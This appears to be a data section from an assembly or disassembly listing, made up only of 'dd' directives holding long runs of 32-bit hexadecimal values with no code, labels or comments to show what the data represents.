dd 70F99902h, 0A053FF7Eh, 83AE36C8h, 4EA81E67h, 2DD04C0Bh
dd 0E027F31h, 8FA2ED0Ah, 0FE8C4349h, 88965420h, 3B9C31AEh
dd 22FF7628h, 29C68438h, 0C810CA25h, 2056C048h, 281F7623h
dd 50854DC5h, 0BC1AB2DBh, 4444C788h, 7AF06753h, 588EED03h
dd 3A8060E2h, 8A1D192Dh, 0ACFB2200h, 3079D80Ah, 810201EDh
dd 63D072B6h, 0D8C7E629h, 59604744h, 0A073B5Ch, 0F2B476CAh
dd 0BDF46F11h, 3040E0h, 6E91EF26h, 5F35A077h, 7DFC42F9h
dd 38EC0A30h, 405CE510h, 0EC023EE0h, 0A6818000h, 590CF898h
dd 0E78B9B5h, 2B60FD0Eh, 1E86834Bh, 45449CA7h, 626EC360h
dd 0D43A3A4Bh, 0CD004623h, 0B2338806h, 1E4A4BF7h, 5E7064D0h
dd 0AB004146h, 0AE5D59Ch, 0F900E912h, 0B50FAB6h, 0B9ED7B0Ch
dd 48113B0h, 25438B50h, 4323402Eh, 3056ED02h, 4A87AF5h
dd 4AD8EF12h, 46448AC0h, 5180B488h, 13B4D476h, 0CF6FB0E5h
dd 0C039C898h, 0B369DDBEh, 1975F4A3h, 8EFD1500h, 0D51242CBh
dd 0BC4106E1h, 216EAB59h, 7B70E4BBh, 614D0EACh, 0DEC95349h
dd 0ECB41490h, 22D27825h, 762FB630h, 0F9843959h, 0C53CAFDBh
dd 88588E0Ch, 7B82C93Ah, 0C4A770E4h, 7DF00D2h, 890ACE8Fh
dd 0F4332EC1h, 8069C8A4h, 8BAE9B54h, 0D79209EDh, 5CC08FB2h
dd 4708FEC0h, 1172031Dh, 0BA828005h, 945BD70Bh, 791658C0h
dd 36D2BA02h, 22355FDh, 0A40076DFh, 0C03F9FF1h, 6F2E9158h
dd 6B00FA6Eh, 0AEBDE715h, 1399A77Bh, 0CB0646C6h, 0CF43880Ch
dd 5AD502C0h, 5FFE2A15h, 5032B600h, 9E146823h, 812F14B4h
dd 0F856B840h, 543051F2h, 639F00A4h, 591DE538h, 4C98F098h
dd 460968C4h, 55D3F907h, 0CEC22A9h, 16BF1330h, 3836B604h
dd 0B076FDCh, 3B9F5FBFh, 66018F61h, 51BE01h, 9EDC27Fh
dd 84572BD7h, 158874CBh, 5303E3D9h, 4F8A3E25h, 0EBE7886Ah
dd 387561AEh, 0E5C6C480h, 81C44532h, 498FE8h, 6AC7C944h
dd 0DCE0183Bh, 7D0E4546h, 0B6410E4Ch, 40537AFFh, 96CB5F88h
dd 0B04E5040h, 7CE0891Ch, 4BA21C63h, 7AF3CE30h, 65C700C2h
dd 1BAE9EF1h, 8BCFB30h, 0AC83F8ABh, 33763C9h, 7DEF55E0h
dd 5104DBF0h, 0FEF3B436h, 0D83EC494h, 1B004223h, 0A711E5D6h
dd 61CF02E9h, 0E47DB780h, 0EF7CF8DAh, 4D40A502h, 0E4D5F374h
dd 78C09330h, 7D48D0E3h, 83F53D78h, 72CB450Dh, 90C05948h
dd 76BCE858h, 9254008Ch, 47B9CCD9h, 0FF59B29Dh, 0C07C8848h
dd 0E511EC05h, 3F830843h, 0B2F0EC1Dh, 0B500DCD5h, 80BAF372h
dd 242EEF01h, 2538B882h, 53915417h, 0A08A0380h, 0C11EF5B4h
dd 2CE6BF26h, 50414ACh, 58508007h, 0EFA6F4FDh, 814C48C1h
dd 0BC20ABF9h, 3C55892Ah, 8C40E880h, 915ACF2Dh, 0DC3DD6C4h
dd 29587900h, 905F1F0h, 654900B9h, 6040640Ch, 1EF13CDh
dd 0DC684DF1h, 8E7FC130h, 0C0BFE721h, 189C992Dh, 8BCC4A08h
dd 0C047C860h, 0FDC08455h, 0E0A3FF02h, 59488EC7h, 1849D920h
dd 26610795h, 2F2AF46Eh, 0C2013964h, 0C842EDA8h, 4344A04Dh
dd 8400360h, 4B6AF400h, 0C59DE89h, 482D4D28h, 602CB32Eh
dd 568127B4h, 1C7518D2h, 428208DBh, 3464ACDCh, 4B59F244h
dd 0C29441A8h, 3216E326h, 3BFA10B8h, 9064E415h, 93049400h
dd 5A24BAEh, 616DC303h, 0B1E71AE0h, 8C437F3Ah, 5E51FED7h
dd 0B239802Dh, 0A07F3EB5h, 9DC10D3Eh, 9C405244h, 0A2C35F3Ah
dd 8138C245h, 4062D41Ch, 4BD97859h, 0EE01B518h, 0C2084FF6h
dd 25C14E31h, 4072F830h, 0D313E571h, 48654202h, 41C8DCCAh
dd 0E0FA6DC2h, 8058A324h, 0B702A67Ah, 0A9E8EADBh, 2AA890D6h
dd 20BC014Ah, 0EED5BA81h, 0B8447860h, 0AA038C48h, 0CAEBE5A8h
dd 0D4B83A76h, 7C47B06Bh, 97634364h, 30E037F9h, 2A401354h
dd 4FA22D77h, 0F6C04C83h, 18043DD3h, 44D79AD5h, 5B85CB02h
dd 0F383B8A0h, 6800F2ACh, 334547A6h, 18B6A0C7h, 914AD61Ch
dd 157F5FA7h, 0F9EC5D00h, 0F643583Eh, 0FB0E0768h, 150CB112h
dd 0D6BCB4B7h, 92165300h, 323A3586h, 16F572B5h, 0D0E2BF20h
dd 92FD8AC8h, 418D3451h, 258C990h, 0A418400Ah, 1C6B2529h
dd 98511409h, 3E1846D1h, 0AF208200h, 28D9F7A1h, 4DE3373Fh
dd 4B476E81h, 31FA906Eh, 2100E416h, 0AE3D86D3h, 12E52807h
dd 505332C3h, 6709A468h, 5C4D01C8h, 51566E0h, 0C4E15046h
dd 0FA00F93Fh, 80A053BDh, 0CC807D59h, 0C0495C1Ch, 0A497DC2Dh
dd 74844591h, 4CF6C03Ah, 3CBC14D0h, 0CD2FB661h, 62DBC78h
dd 4611D49Dh, 0C1FE0C83h, 305426C9h, 3752A334h, 0E8F405D4h
dd 68E112C3h, 38BC283Ch, 0E1F4008Ch, 0C2DB596Ah, 153FF5B2h
dd 2F30F229h, 0FCA96813h, 0BEFD0014h, 0D3E8C906h, 709650FEh
dd 243B4676h, 651074DEh, 40F0E32Eh, 39D2EF09h, 9B80936Fh
dd 5657E021h, 4E7010Eh, 788F4EE1h, 0D62841EDh, 8840247Dh
dd 1D00437Bh, 0A2CFF031h, 0FC8A28D8h, 0BAC02B7h, 7B2EFC81h
dd 0E99C9CA7h, 0E7A9E0A1h, 0DFCE107Dh, 3A20D23Eh, 24623A0h
dd 0FC4A997Ah, 454BDC5Eh, 6044E414h, 249B0BDBh, 85C51FEh
dd 4201AD47h, 10AA59B7h, 2DF19Ch, 0FF51DBA1h, 985A58EBh
dd 625F4423h, 4C074051h, 0F139E402h, 474A085Ch, 60F7E802h
dd 0E9BC5EB3h, 406454C5h, 0EB7DAE60h, 88094A5Eh, 0B68D2D6h
dd 303B26C4h, 65AAE8A3h, 7BF00A9Dh, 7A9D0064h, 0CBF941ADh
dd 3D4BBE25h, 0E61700D8h, 83ED106Bh, 8A055300h, 0A95CFC02h
dd 0B8E8F4E1h, 13E50944h, 709D04D8h, 74804811h, 0EAEBFA99h
dd 0C425B8B6h, 0CC134590h, 3A4B7721h, 45EBC845h, 0A4A2C012h
dd 0BA304FF2h, 664A3D3Bh, 19E75B00h, 50E50AC6h, 8CCB0B4Bh
dd 0EDC053C8h, 0E39BA68Bh, 0AB6E820h, 0F59AE52Dh, 3DB78AB4h
dd 1900BDA8h, 0F761E2AFh, 7300B696h, 0BC0FEE86h, 0BA1CA28h
dd 6C2C7BACh, 0BF835818h
dd 0E8B0D900h, 5AC3C287h, 0A47D0016h, 9CA83255h, 94A26D94h
dd 834498CCh, 0CC5E5CB0h, 678C47E8h, 780B4857h, 0E80AF020h
dd 9407E678h, 494EE305h, 72312892h, 5E489C50h, 4E007646h
dd 81C335E7h, 0B400218Dh, 0E3A2E4B9h, 0B25085BBh, 84099720h
dd 4BC0D44Dh, 0D34A4h, 7E6560E0h, 896D862Dh, 750A520Ch
dd 403BE807h, 0B4001C31h, 0B48FAE5h, 9EFFFEC4h, 18982FC4h
dd 7B3EC6EEh, 0C967C36h, 4A465Eh, 59DF828Ah, 7C51E093h
dd 0D1C4B12Bh, 130B1841h, 44A5173h, 4448E3Ch, 14A86AC9h
dd 28C43BCh, 8C75630Fh, 0B0676296h, 0CC604644h, 0AF0255B5h
dd 5FAC591Dh, 0FE54687Eh, 22491E7h, 0EAE69299h, 0DE45464h
dd 4566C0C4h, 2F5E0014h, 762358h, 2D7FB0D0h, 1509F864h
dd 48FAC02Eh, 4006CBB0h, 0E27BEE5Ch, 465E249Eh, 0DC783E46h
dd 0B2E3177Eh, 5A517406h, 4EC31061h, 931412ABh, 8C75543Ah
dd 53C7EE03h, 0BA94AD49h, 97F8D042h, 5211941Dh, 19225C80h
dd 67EECE3h, 94AEC801h, 7F7A17D3h, 99C482Fh, 0E9EF1280h
dd 0B2E72857h, 0D86C5DE0h, 0C9030BBCh, 0B68E1366h, 0D9EFA1F7h
dd 0E0D331D5h, 4B113316h, 0D79CC21Ah, 9C0100C4h, 3AD8C301h
dd 0A6E8C597h, 0CA50204h, 3DD3E33Bh, 0B4368FE0h, 650BEA01h
dd 0A9F27E06h, 6B3DC463h, 0F80E15C0h, 0C7A4AD0Ah, 5640D439h
dd 3D1F7E1h, 0B14E8495h, 0E9D3DD7Ah, 21BE0830h, 395D990h
dd 0D3A3279Ch, 5093B33Bh, 0F7A4D7E0h, 59C3DD00h, 0E063054Ch
dd 162B01D2h, 3B5D51A9h, 804080A5h, 4224212Ch, 996F0334h
dd 0D931F2D1h, 581D8180h, 71B86218h, 6957D18h, 0AED5D7B7h
dd 563D60E0h, 1E658301h, 99887B5Ah, 8989362h, 84A021C7h
dd 0CCCD6500h, 273DA272h, 0DEDDE96Ch, 0D5F06313h, 0DA18D991h
dd 0A1B84E78h, 21966DD8h, 7B30E670h, 5A241065h, 829EE0ABh
dd 0C4890065h, 0F7EB19CBh, 5C543D59h, 6200B788h, 0E2424BFCh
dd 0C366583Ah, 0ECAFD2D8h, 0C9394115h, 976E1EACh, 0D91C88C0h
dd 0B1F089h, 77F1F2A0h, 4C83C055h, 0E12D6503h, 3E563C81h
dd 14017661h, 0F3ADCFD3h, 989DE9A8h, 18215E08h, 0F914008Bh
dd 68BCFDF7h, 4C3220CEh, 3085484Dh, 0CF711487h, 5D228D46h
dd 25E48FFCh, 60289303h, 0B0C7FB34h, 503A29C4h, 7E8460CCh
dd 0E7F2480Bh, 449C3E79h, 69B68781h, 0CCE81ADCh, 0DAECAC58h
dd 0D23A8219h, 0AA40FC39h, 501D941Ah, 8CD9C097h, 22657904h
dd 0C6629B5Ah, 65809C21h, 3EF8CCh, 0E5D0D21Bh, 4C5B8B54h
dd 0CD00DBF4h, 66D7AA8Fh, 0F20E9CEAh, 7886F107h, 0E16727C8h
dd 26ECD0Ch, 1818208Fh, 38D97428h, 2C0A6338h, 206EC1E9h
dd 0C4FF5831h, 0C44EC707h, 23A4149Bh, 95CF012Bh, 19C14E86h
dd 0D79220DEh, 0CC071995h, 0FF58E6CAh, 542CCD40h, 17318F0h
dd 53D4A890h, 1B808274h, 0B8E22804h, 903A1AA4h, 3C3518A6h
dd 6919E80h, 62DE6ECEh, 524BC07Ch, 69440C47h, 0E4E0D063h
dd 0C91FCB42h, 5104D31Ch, 805C205Eh, 0BD85043Bh, 23F1018Ah
dd 1D623B4h, 5A1D657Eh, 88CE1883h, 657E859Fh, 23B1131Ch
dd 1F00A19Eh, 0DE284EE4h, 59500158h, 0EDA99843h, 0BC03C0D4h
dd 50707F3Eh, 48C2690h, 4E8995CCh, 20C062E9h, 7095D497h
dd 0B217302h, 917818BDh, 86D12C88h, 288A9058h, 8CB9CC14h
dd 176A4490h, 0FB149206h, 0C9D8AEh, 5ABB8DDEh, 318474C5h
dd 0B4050171h, 884EBD20h, 0D4362C01h, 119EA852h, 641A80CAh
dd 1E5E8867h, 0B6135492h, 903A9B1Dh, 3F00CA23h, 0BBC74C8Eh
dd 206890EDh, 9300F20Bh, 55A52CE2h, 0C089BE6Eh, 56BF1E68h
dd 0A6602F92h, 201F8491h, 131B077Eh, 5C23D3FDh, 21C08D08h
dd 682027E3h, 4BF50F1Fh, 83AF26B5h, 0EDAC6BC0h, 3A26867Ah
dd 0D7430054h, 908FF2BEh, 11201C30h, 882B1B7Dh, 24E6808Bh
dd 0C11F920h, 0BF102603h, 23D31DD5h, 1E039148h, 8C1B7F20h
dd 0E4209962h, 1D592026h, 57D507h, 0F25A27DFh, 0BC90969Dh
dd 0CF831B7Bh, 77875805h, 0E3A56617h, 0F7D48C01h, 9C42D5FFh
dd 0F630C4FEh, 4DCAC55h, 0C2056F3Bh, 2444823Ch, 1195CE30h
dd 88D94E87h, 0D639BFBCh, 191BA201h, 0C0FECBC0h, 5F1C6392h
dd 8041A6E8h, 0C7FD231Dh, 0A069D6D0h, 7DE56140h, 1C0F3E57h
dd 60197130h, 99C0ED54h, 17F021A6h, 682D4866h, 1C8C5DBCh
dd 0C0853750h, 9C8465DFh, 5A26E37Bh, 0F8004CD2h, 2C2A3C0Dh
dd 60326418h, 14846080h, 0A5CF23D2h, 19006311h, 0A341148Ch
dd 28009546h, 0A8784B70h, 0A8C8397Ch, 1E85128Ch, 942113h
dd 0E6D49A31h, 9E1D063Ch, 51CCB330h, 187371ABh, 98CDB60Bh
dd 1F58C883h, 623880CCh, 0FA0821h, 0F56A56C1h, 55C9471Dh
dd 0E4B8BEEEh, 1BB7DB03h, 24C67ADCh, 3B8C240h, 0A12E9298h
dd 0C31B610Fh, 257BE0C5h, 2D09086h, 0D1EA7482h, 0BCA9DDADh
dd 6027D024h, 0B88A95CBh, 0C140913Eh, 8795D396h, 8BB15894h
dd 4B0BF220h, 0DE90C479h, 223414D5h, 0C81D3AA7h, 64D8528Bh
dd 1184308Ah, 2023808Eh, 91331B7Ah, 2BE7C0D8h, 34003220h
dd 0FCD1212Dh, 5C4EC95Dh, 705073F0h, 479103E6h, 0CE72037Ch
dd 0DCB78024h, 3A4CBB80h, 50155ED4h, 602E9C34h, 5D3759AAh
dd 0A21C1118h, 654154E4h, 0D85A585Ch, 2AD4F074h, 94D0AEh
dd 902618AAh, 517FD379h, 98C0B000h, 0C4CAA89Eh, 93FD0FF2h
dd 31F8AEA4h, 8A00AF05h, 6AC2ADE2h, 1CF6ED78h, 97F7C4Eh
dd 0B0124D5h, 0F8831ECEh, 0FD505B1Bh, 1450EEA4h, 582638C8h
dd 382C6C1Dh, 0BCE4674h, 9EC63B3h, 28002AB5h, 9A441100h
dd 55804224h, 9C22C46Dh, 0FA3198F2h, 41E96C60h, 0DAA0913Eh
dd 21657A80h, 87A35Ah, 965819Bh, 300080B2h, 74042422h
dd 0A3C05EE3h, 5452C0DCh, 3BA0C45Dh, 0A888905Ah, 130FE5E7h
dd 86E84E43h, 6318D963h, 865621AEh, 32934090h, 84AA8C2Ch
dd 89808711h, 9DCFCD14h, 165C448Ch, 0E4149100h, 0C9461729h
dd 30BA48F5h, 90029F0Bh, 2A10D0B4h, 0BE2EE249h, 40F81279h
dd 6220D370h, 5740A534h, 1D011DCAh, 1C023BCDh, 84DF840h
dd 108FF0E1h, 419656CFh, 3BB0607Bh, 3D8C3121h, 8BD80245h
dd 41C62031h, 0D8584BBCh, 28EA889Ah, 43582009h, 8444FEh
dd 0C58DDD34h, 0A917331Fh, 0F169A73Fh, 8013134Bh, 0FA00046Fh
dd 653603Ah, 0ED0072ACh, 0C6C8521Ch, 0D4A3D198h, 8EE8FCC1h
dd 0A0D8018Ch, 8F91909h, 3C5BC0D0h, 211025E5h, 3AA004E0h
dd 206A23F8h, 666E10BCh, 204E04A1h, 9880F394h, 9AB25E99h
dd 25949318h, 0BB914495h, 3AC87h, 62D0B3A8h, 2EF9170Ch
dd 746A9A2h, 0F3EF43C4h, 0E265D090h, 0A1000BB8h, 4A5697A5h
dd 0CBCF0C10h, 54172C90h, 1A826891h, 8E40B057h, 78B223C1h
dd 0C04F248Dh, 0F1B18E74h, 7CA749Bh, 56BB9E20h, 216C4043h
dd 54905B66h, 2C48DC43h, 78C99B8h, 71CA8D36h, 0F9C81318h
dd 5E87F805h, 0C41DA6EEh, 6126C48Fh, 0F251C3B7h, 0BA7D908Eh
dd 9887CC49h, 0DDCFC1FEh, 7CE9F0F3h, 1E6523Eh, 0B01BCD63h
dd 0CC43D3DBh, 6A9C895Ah, 5C1D2020h, 4A0440C6h, 8EA63D47h
dd 0C09888B0h, 0A587F278h, 17E75139h, 3804FF6Bh, 6704CEFEh
dd 5234B4D1h, 86FA047Bh, 2820CD24h, 0D2802811h, 0B94E8395h
dd 91C3448Ch, 0E695DA1Ch, 0D894EF5Eh, 39970290h, 44D9A1D3h
dd 88E0C454h, 0C9CA024Fh, 1134973Fh, 856781C1h, 2C40AFC7h
dd 765C3BB2h, 7E4B13C6h
dd 0C844CB9Eh, 0E245C1CCh, 2DAFC5E3h, 0C5180038h, 967BC028h
dd 83A009Bh, 0BBE5DF05h, 390AA359h, 0B89F2E91h, 1B5B3D87h
dd 1AD8E7E0h, 0DDF706E2h, 21942E50h, 0CA26FA00h, 0F44D6654h
dd 0BAC1BD7Dh, 0A43D84Eh, 1AC41E27h, 79BC5194h, 16618BCh
dd 3C65D6A7h, 6598A573h, 7BB810A8h, 0E7501AEBh, 849171FCh
dd 0A0188ED9h, 0F7AC3Ch, 90C61FBAh, 551EF59h, 0B8D2A74Ch
dd 75C6BB1h, 0A3481DAEh, 6A35B6C1h, 3C2F60E8h, 81285650h
dd 0B4331F88h, 7DCC2AAFh, 0C8DE0032h, 377BCEE5h, 5013343h
dd 4679A51Bh, 25F8C283h, 0C0DF4D1Eh, 23FC2E4Eh, 587B005Dh
dd 0B0E2BD6Bh, 3C8D0D0Dh, 23E02154h, 896C3999h, 21C8CA00h
dd 0A28F4B1Fh, 9D2F8418h, 7BE569h, 0E0F61672h, 653D3B5Bh
dd 0C60641C3h, 3787F01Ah, 6E6A00F8h, 0BCABE501h, 0AF048DD2h
dd 0D179FBFAh, 0E43BD892h, 44620404h, 8C2B1634h, 660C4CDCh
dd 11B95952h, 8197602Fh, 9AA1AFF0h, 27A89600h, 9DED711Fh
dd 4C6100BEh, 70C2A1Dh, 64E94A5Ah, 0D892D258h, 465E2896h
dd 7FE0F8Dh, 23D821E8h, 58602BD0h, 0CDC740B8h, 7C3E6610h
dd 6FEFE405h, 2CFCD0DFh, 0A4B93C35h, 0FCF7A0Eh, 7292BFF6h
dd 6258E402h, 9085098h, 7F2901A1h, 9711849Dh, 194809Dh
dd 307F81CBh, 0A1FFF802h, 85D697CEh, 24B43A9Ch, 0F9DC003Ch
dd 0DD752AFEh, 1C63D9ABh, 87446336h, 46C0E4E9h, 657F02D3h
dd 798B5A20h, 86A2601Ch, 11149565h, 0FB0733h, 0E8576454h
dd 6BD8A1FEh, 0A89D88DBh, 0F98ECA11h, 0ABB73EC1h, 0A08060B3h
dd 465E10B4h, 11392FCDh, 0B8736238h, 0C630C1F2h, 0C20A0554h
dd 0C87D264Eh, 0FDB460h, 9C55D41Dh, 0DC1B8234h, 0F801C21Eh
dd 8CF1BF14h, 0B021F058h, 431B2764h, 0E9036896h, 98552029h
dd 7FE3C89Ah, 7D6CA0AFh, 673F004Fh, 8465501Fh, 0F5020A2Ah
dd 0C0FB16B3h, 4FFEE0BFh, 0E3E6125Ch, 8A9C929Ch, 5CF158D1h
dd 0D88D6019h, 80D10639h, 746256EFh, 4F978EA3h, 717441AFh
dd 70695B11h, 1D889DB8h, 3A5A0B97h, 0A27518h, 54415896h
dd 641C40D0h, 5702A3A2h, 0E82810C7h, 4BA887D2h, 238CABC3h
dd 860182B0h, 0B5CFD014h, 8E1B000Eh, 0DF7A3A14h, 67C90108h
dd 0A3F04CD5h, 21DC24DBh, 0DC90B6h, 51FE4146h, 424196Ch
dd 0F0CFF628h, 28D01130h, 968252D4h, 3E0EF61Ch, 0F62C6D4h
dd 0E5A0EFA8h, 3400DC31h, 0BA5356BBh, 0F81817E0h, 0CE488473h
dd 0C05C8804h, 2D72B2A7h, 554ED21Eh, 0DA7498BDh, 245ECF50h
dd 70A092h, 29CDCB47h, 2F27F2B1h, 135CB7C3h, 428A00AFh
dd 86985A58h, 66112496h, 0CCBF077Fh, 0E1A30F74h, 0E059BD81h
dd 0C501460Ah, 2863A2D7h, 8C733151h, 0CA37BE00h, 1C0A7A7Ch
dd 875ADC27h, 794C3AE8h, 28CB03A5h, 3BC278C1h, 225FC8F0h
dd 0C9D14499h, 0B1008D18h, 6389C5BEh, 12C1C35h, 0D02F4CB2h
dd 4575CE56h, 0FF40B094h, 41DF006h, 0BE90CA9Eh, 111FDC54h
dd 46DE056Bh, 0E250CB98h, 3AA083CEh, 0A0A25E50h, 4D23049h
dd 54A8AC06h, 5E78B418h, 0EC139746h, 230C3A91h, 5978005Fh
dd 63A6BA04h, 6758BB03h, 912D3A09h, 0BC2024C2h, 22F44477h
dd 0EC192581h, 4E238895h, 0BF11D1h, 0B095D594h, 0C923705h
dd 5524C80Dh, 2A00CD81h, 0EA55A56h, 4EAD90D8h, 231C3FDDh
dd 397702C0h, 0B48217B2h, 1D0253F4h, 87A4D1CAh, 0AC39E730h
dd 0B6008339h, 697A1014h, 73F97CDh, 7FBA68DCh, 792381CAh
dd 42B3C0D4h, 5136B512h, 0F0800CDBh, 64520212h, 5241C58h
dd 70505AFAh, 343AF825h, 9902C923h, 60CB28C1h, 0E633585Ch
dd 3094255Eh, 0BF645C47h, 3A494560h, 0FCC44628h, 18D8CF20h
dd 29C56051h, 3092A02Eh, 0D0B639h, 36B0CBFDh, 209B12Ch
dd 0D654D1E9h, 0D8E7D221h, 30678C44h, 0CB172FFh, 405D57Ah
dd 0DB7C9BE4h, 6251C404h, 2E4E1088h, 74787AA9h, 9F03C846h
dd 2EF8272Dh, 6F7FD8E8h, 9A55FEFAh, 0E88C389Ch, 7B1D8C69h
dd 0F86455B0h, 66E6720Bh, 711CB1A8h, 207188Eh, 19435E3Bh
dd 0C0C33403h, 10B519Ah, 9A400CB2h, 2C83B46Ch, 9C90B964h
dd 0C7E6394Ch, 4F1E69EAh, 0EA0E4ADDh, 85818075h, 0C1A4B26Eh
dd 0EC3178E8h, 6CDCC9F6h, 8CCCE848h, 6C3CF702h, 71595224h
dd 0B04A03D8h, 0D3B0C9F9h, 0B60DF46h, 0A7585970h, 31F414CFh
dd 0C7E8DCA6h, 0EE11FE8Ch, 0B16F01AAh, 12DC3269h, 94C0AEBDh
dd 0A21DC740h, 2F1C0772h, 34383D6Eh, 0B070A094h, 34F49759h
dd 7AC05939h, 796B423h, 0F258DE1Bh, 1F69C54Ah, 70102EB4h
dd 575A9B51h, 9923CC3Bh, 7EE09602h, 0C3B0401Eh, 46CD80D9h
dd 6400B25Bh, 0F4B84356h, 7296B01Bh, 504B640h, 0D573EFD6h
dd 0DE84A580h, 8411582Ah, 0CE148880h, 0E4B485CFh, 0A901558h
dd 0D1AEC914h, 4C1D8084h, 9A04F9D6h, 7FEE8900h, 83FD909Bh
dd 0CC8C0EB0h, 0CA5F7825h, 4941DCEh, 0B928C8E1h, 468704B4h
dd 2E0BA826h, 4CF26848h, 7B4F3603h, 0EEC25E99h, 0A4D62520h
dd 0BE91E01Dh, 3AA009Ch, 3C214B61h, 38816B60h, 0A4B2E964h
dd 4E10F934h, 0F751D010h, 1348449Ch, 0C8648EB4h, 0B32AC5C3h
dd 6052170Ch, 0CAB71090h, 0C6C203FCh, 4AEC22EBh, 0A8C037AAh
dd 4BE8047Fh, 0F0094E78h, 0C05C8052h, 0C0DFD21Ch, 0C41958A9h
dd 0D37C20C8h, 19F2DA30h, 12B50162h, 4AFE097h, 14EF32D8h
dd 6BF01154h, 9367B100h, 87515736h, 0C129C400h, 6D27CBB6h
dd 37CC3EA1h, 67113848h, 0DA6E08DDh, 0B32E0BA3h, 56F4C822h
dd 0C8440467h, 1DC09960h, 58466600h, 0B1B95BE7h, 3FF8394Ch
dd 0B2BA7060h, 9E48FAC8h, 8CCCE8FCh, 42C78A01h, 665ED050h
dd 2E50DC2Ch, 0F8620939h, 3CE42212h, 0BAD1D099h, 0FB395D18h
dd 3D830037h, 0A88CD298h, 3204171Bh, 14D049C6h, 8F799871h
dd 0F7004318h, 0ABB06EEFh, 4F29B318h, 84681679h, 0D4F234h
dd 477CD160h, 5E930DDh, 0F8841B50h, 0E00CE6FFh, 136F54Dh
dd 0CDC4B7FAh, 41952E66h, 341DC89Ch, 5090A460h, 0EE5C5602h
dd 54D4B6B9h, 631C04A0h, 0B8B0BDFDh, 6950015Bh, 806224CAh
dd 0CF74244Eh, 0F8FADB44h, 18A6E9B4h, 2CE9040h, 499B59BBh
dd 0D1BC5971h, 7202188Fh, 743201C8h, 500E3BC9h, 4E442140h
dd 0C0BB8808h, 66CB58C3h, 9E2AD300h, 241B106Bh, 48A2029Ah
dd 0A63D1A0Ch, 984470E7h, 37707F60h, 6754D40Ch, 247B1858h
dd 0BEEC4203h, 0CB4D6117h, 0C06BC838h, 4EC134A6h, 0E0542812h
dd 265EF442h, 0EEB60394h, 0CFA47105h, 0E0F09646h, 6E665F4Ch
dd 0A0D21770h, 9123D500h, 26645F4Bh, 74ECDDAFh, 4C00BD46h
dd 514BA58Dh, 4F0C76C1h, 0A0992E5Eh, 0B53925B1h, 0CD919017h
dd 0D2587387h, 94685904h, 820F6F9Ah, 0A2D43857h, 71096E2Dh
dd 18C37988h, 43AF894h, 0A15B5F87h, 88F4C11Eh, 30E069A3h
dd 525A890Dh, 80856228h, 4C7C59EBh, 98E2642h, 0A810B8E3h
dd 6D174CB4h, 0F734049Fh, 0C61D0556h, 2DF42087h, 63E24CA2h
dd 0B6148732h, 2A4950F0h, 0C36D0CC7h, 0ACD1CB3Ah, 0E67A2C00h
dd 905DB451h, 0A36C0460h, 0A864216Bh, 27C12250h, 0F0E6C01Dh
dd 0E606CA70h, 0D9AECDDFh, 12F6F1h, 0FEC7C5C3h, 0EC84310Ch
dd 0ED2E6573h, 0E947A0CFh, 60904448h, 247C201Dh, 70F4231Bh
dd 207725E5h, 0A13D0900h, 222D1CF3h, 0CFB61C61h, 2273D366h
dd 25204F70h, 6E703AF2h, 0AF2AB058h, 11620754h, 0CF7C001Bh
dd 0F098971Dh, 349F1E24h
dd 0C64674h, 108BBEBCh, 9ACF9Dh, 80436FF0h, 40F201CAh
dd 5E18CD98h, 78A09762h, 0A40824FDh, 0C3467494h, 8464AE25h
dd 8985D300h, 6D86C576h, 5C4B01A6h, 144E9E90h, 3804303Fh
dd 0B021C744h, 0D58727C8h, 20929CEDh, 68E20CE3h, 419C230h
dd 0DDF1B103h, 0D6B8FC80h, 0C180589Bh, 0FDF40D13h, 84C84303h
dd 0AB25CCC4h, 78C2B9F1h, 413AD060h, 4A3836C3h, 0B11A9004h
dd 8FDFE4FCh, 90FAE420h, 0C347DC76h, 800ABE73h, 0E37DBC0Dh
dd 5FC079E5h, 30C80172h, 0CEA24783h, 3A3193CFh, 0A01F1CD7h
dd 118A4A17h, 0AE063BADh, 410E6D84h, 1EF081C5h, 0ABC80398h
dd 38D9004Dh, 0D055226Ah, 3CBE4E46h, 7460E025h, 5E2896B6h
dd 98708C46h, 28245C3Fh, 2F30CD04h, 9F61409Eh, 38635B75h
dd 0F384C372h, 0E2793A54h, 308FF248h, 84001A5Ch, 0CCB167EBh
dd 0EF7352h, 75F96338h, 0F7EEC128h, 3001DF4Ah, 6C5258C2h
dd 0C32EC03Ch, 77203C40h, 64DB784Eh, 9B521F80h, 0AC7677D4h
dd 0D83BF9F1h, 6C263F75h, 6008B4BFh, 0B884275Dh, 8E8B0EE6h
dd 8CE0921Fh, 4CBB1321h, 0F290E235h, 87A03369h, 0D506E6EDh
dd 83126ECFh, 0AC3B00D1h, 0D8321829h, 6C0B872Ch, 902EA50Fh
dd 0F34FC8h, 0B829FED0h, 0BF128A83h, 0C436C12Ch, 50CBAB02h
dd 8907E204h, 0D4400419h, 1F658060h, 11935A23h, 87A100C5h
dd 59279B65h, 6DBD00AEh, 0F2CDC185h, 649C985Ah, 0C95B3D0Ch
dd 0D090B556h, 5F00F874h, 0CDCB76A3h, 0A41CC831h, 58382E88h
dd 8EDC0766h, 4CF43EC5h, 38CCAB8h, 77F83452h, 0EEC7FDADh
dd 1BEF9801h, 0E830285Bh, 0B008CBBh, 15EC65D3h, 9D13299h
dd 200FE682h, 2204F879h, 0E4DB56BFh, 0E35C09C0h, 810182F1h
dd 0FB38AFABh, 8C49962Fh, 84E5D4h, 0D369A6Ah, 86740692h
dd 383DE200h, 0B71C6325h, 382A079h, 0D39F0278h, 12A77D5Eh
dd 1CDE24DCh, 82A024CCh, 502C5A58h, 0A8288856h, 9D9F0220h
dd 5AF8C083h, 140052FAh, 70195839h, 74510ED5h, 0D481472Ah
dd 49C70FF7h, 0BBEFE094h, 4711CE6Bh, 62C344B8h, 943CF803h
dd 441727F4h, 0E2806891h, 43564774h, 6CB9C70Bh, 941C4678h
dd 0A91DDC44h, 24017D80h, 2309A204h, 0A8A84860h, 0A8D5AF80h
dd 1A75FCh, 818BD9ADh, 0B68E7119h, 8F04967Dh, 0DCFC3B79h
dd 0D2B798F8h, 78978BDEh, 77816991h, 2A56C294h, 0F0514038h
dd 0D4918457h, 79188D71h, 7B0019E8h, 4335DEA0h, 929C104Ch
dd 5EC4BE90h, 0BD286846h, 0F84E15F1h, 354FF42Bh, 0E46F4Ch
dd 362AD885h, 27E05AE7h, 0C5548BBDh, 708CE116h, 6C518832h
dd 4261802h, 0D2E0D421h, 40864540h, 0A9BE06B8h, 0C92EFC13h
dd 0C5B19CE7h, 68A9D0B1h, 5A635C02h, 24F3C4Ah, 4089DC69h
dd 565A60F0h, 0DED9D88Ch, 9738A81Eh, 912E0C02h, 90F3088Fh
